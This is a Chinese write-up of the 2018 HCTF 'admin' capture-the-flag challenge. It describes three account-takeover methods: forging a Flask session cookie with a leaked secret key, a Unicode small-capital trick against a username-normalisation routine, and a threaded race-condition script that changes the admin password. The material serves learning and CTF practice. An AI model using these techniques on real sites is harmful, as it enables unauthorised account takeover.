一题三解之2018HCTF&admin

 

前言

有幸拿到了这道题的1血,也在赛后的交流讨论中,发现了一些新的思路,总结一下3个做法:

  • 法1:伪造session
  • 法2:unicode欺骗
  • 法3:条件竞争

 

信息搜集

拿到题目

http://admin.2018.hctf.io/

f12查看源代码

<!-- you are not admin -->

发现提示要成为admin

随便注册个账号,登入后,在

view-source:http://admin.2018.hctf.io/change

发现提示

<!-- https://github.com/woadsl1234/hctf_flask/ -->

于是下载源码

 

功能分析

拿到代码后,简单的查看了下路由

@app.route('/index')
def index():

@app.route('/register', methods = ['GET', 'POST'])
def register():

@app.route('/login', methods = ['GET', 'POST'])
def login():

@app.route('/logout')
def logout():

@app.route('/change', methods = ['GET', 'POST'])
def change():

@app.route('/edit', methods = ['GET', 'POST'])
def edit():

查看一下路由,功能非常单一:登录,改密码,退出,注册,edit。

但edit功能也是个假功能,并且发现并不会存在sql注入之类的问题,也没有文件写入或者是一些危险的函数,此时陷入了困境。

 

解法一:session伪造

初步探索

想到的第一个方法:session伪造

于是尝试伪造session,根据ph写的文章

https://www.leavesongs.com/PENETRATION/client-session-security.html

可以知道flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。

所以我们构造脚本

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

然后可以尝试读取我们的session内容

此时容易想到伪造admin得到flag,因为看到代码中

想到把name伪造为admin,于是github上找了个脚本

https://github.com/noraj/flask-session-cookie-manager

尝试伪造

{u'csrf_token': 'bedddc7469bf16ac02ffd69664abb7abf7e3529c', u'user_id': u'1', u'name': u'admin', u'image': 'aHme', u'_fresh': True, u'_id': '26a01e32366425679ab7738579d3ef6795cad198cd94529cb495fcdccc9c3c864f851207101b38feb17ea8e7e7d096de8cad480b656f785991abc8656938182e'}

但是需要SECRET_KEY

我们发现config.py中存在

SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'

于是尝试ckj123

但是比赛的时候很遗憾,最后以失败告终,当时以为key不是SECRET_KEY,就没有深究

后来发现问题https://graneed.hatenablog.com/entry/2018/11/11/212048

似乎python3和python2的flask session生成机制不同

改用python3生成即可成功伪造管理员

 

解法二:Unicode欺骗

代码审计

在非常迷茫的时候,肯定想到必须得结合改密码功能,那会不会是change这里有问题,于是仔细去看代码,发现这样一句

好奇怪,为什么要转小写呢?

难道注册的时候没有转大小写吗?

但随后发现注册和登录都用了转小写,注册ADMIN的计划失败

但是又有一个特别的地方,我们python转小写一般用的都是lower(),为什么这里是strlower()?

有没有什么不一样的地方呢?于是想到跟进一下函数

def strlower(username):
    username = nodeprep.prepare(username)
    return username

本能的去研究了一下nodeprep.prepare

找到对应的库

https://github.com/twisted/twisted

这个方法很容易懂,即将大写字母转为小写

但是很快就容易发现问题

版本差的可真多,十有八九这里有猫腻

unicode问题

后来搜到这样一篇文章

https://tw.saowen.com/a/72b7816b29ef30533882a07a4e1040f696b01e7888d60255ab89d37cf2f18f3e

对于如下字母

ᴀʙᴄᴅᴇꜰɢʜɪᴊᴋʟᴍɴᴏᴘʀꜱᴛᴜᴠᴡʏᴢ

具体编码可查https://unicode-table.com/en/search/?q=small+capital

nodeprep.prepare会进行如下操作

ᴀ -> A -> a

即第一次将其转换为大写,第二次将其转换为小写

那么是否可以用来bypass题目呢?

攻击构造

我们容易想到一个攻击链:

  • 注册用户ᴀdmin
  • 登录用户ᴀdmin,变成Admin
  • 修改密码Admin,更改了admin的密码

于是成功得到如下flag

扩展

这里的unicode欺骗,让我想起了一道sql注入题目

skysec.top/2018/03/21/从一道题深入mysql字符集与比对方法collation/

 

解法三:条件竞争

该方法也是赛后交流才发现的,感觉有点意思

代码审计

我们发现代码在处理session赋值的时候


两个危险操作,一个登陆一个改密码,都是在不安全check身份的情况下,直接先赋值了session

那么这里就会存在一些风险

那么我们设想,能不能利用这一点,改掉admin的密码呢?

例如:

  • 我们登录sky用户,得到session a
  • 用session a去登录触发admin赋值
  • 改密码,此时session a已经被更改为session b了,即session name=admin
  • 成功更改admin的密码

但是构想是美好的,这里存在问题,即前两步中,如果我们的Session a是登录后的,那么是无法再去登录admin的

我们会在第一步直接跳转,所以这里需要条件竞争

条件竞争思路

那么能不能避开这个check呢?

答案是显然的,我们双线并进

当我们的一个进程运行到改密码

这里的时候

我们的另一个进程正好退出了这个用户,并且来到了登录的这个位置

此时正好session name变为admin,change密码正好更改了管理员密码

payload

这里直接用研友syang@Whitzard的脚本了

import requests
import threading

def login(s, username, password):
    data = {
        'username': username,
        'password': password,
        'submit': ''
    }
    return s.post("http://admin.2018.hctf.io/login", data=data)

def logout(s):
    return s.get("http://admin.2018.hctf.io/logout")

def change(s, newpassword):
    data = {
        'newpassword':newpassword
    }
    return s.post("http://admin.2018.hctf.io/change", data=data)

def func1(s):
    login(s, 'skysec', 'skysec')
    change(s, 'skysec')

def func2(s):
    logout(s)
    res = login(s, 'admin', 'skysec')
    if '<a href="/index">/index</a>' in res.text:
        print('finish')

def main():
    for i in range(1000):
        print(i)
        s = requests.Session()
        t1 = threading.Thread(target=func1, args=(s,))
        t2 = threading.Thread(target=func2, args=(s,))
        t1.start()
        t2.start()

if __name__ == "__main__":
    main()

注:但在后期测试中我没能成功,后面再研究一下,但我认为思路应该是正确的。

 

后记

题目可能因为一些失误有一些非预期,但是能进行这么多解法,对学习还是非常有帮助的。

(完)